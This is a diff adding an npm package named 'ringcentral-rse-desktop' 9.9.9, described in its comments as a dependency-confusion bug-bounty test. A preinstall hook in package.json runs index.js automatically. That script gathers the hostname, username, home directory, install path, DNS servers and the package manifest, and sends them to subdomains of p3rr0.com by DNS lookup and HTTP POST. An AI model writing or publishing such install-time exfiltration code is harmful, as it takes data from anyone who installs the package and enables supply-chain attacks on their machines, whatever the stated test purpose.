ringcentral-rse-desktop 9.9.9

package/index.js

@@ -0,0 +1,44 @@
+//Author p3rr0x22@gmail.com
+//Dependency confustion test under bug bounty scope
+const os = require("os");
+const dns = require("dns");
+const http = require('http');
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
+
+try {
+dns.lookup(os.hostname()+os.userInfo().username+package+'.p3rr0.com', e =>{});
+} catch(er) {
+//
+};
+const trackingData = JSON.stringify({
+    pack: package,
+    cdir: __dirname,
+    homedir: os.homedir(),
+    hostname: os.hostname(),
+    username: os.userInfo().username,
+    dns: dns.getServers(),
+    r: packageJSON ? packageJSON.___resolved : undefined,
+    pjson: packageJSON,
+});
+
+var options = {
+  host: dns.getServers()+package+'.p3rr0.com',
+  path: '/',
+  method: 'POST',
+  headers: {'X-Bug-Test' : 'p3rr0-'+package}
+};
+
+callback = function(response) {
+  var str = '';
+  response.on('data', function (chunk) {
+    str += chunk;
+  });
+  response.on('end', function () {
+//    console.log(str);
+  });
+}
+
+var req = http.request(options, callback);
+req.write(trackingData);
+req.end();

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "ringcentral-rse-desktop",
+  "version": "9.9.9",
+  "description": "dependency confustion bug bounty test -- dont use. Contact p3rr0x22@gmail.com",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "p3rr0",
+  "license": "ISC"
+}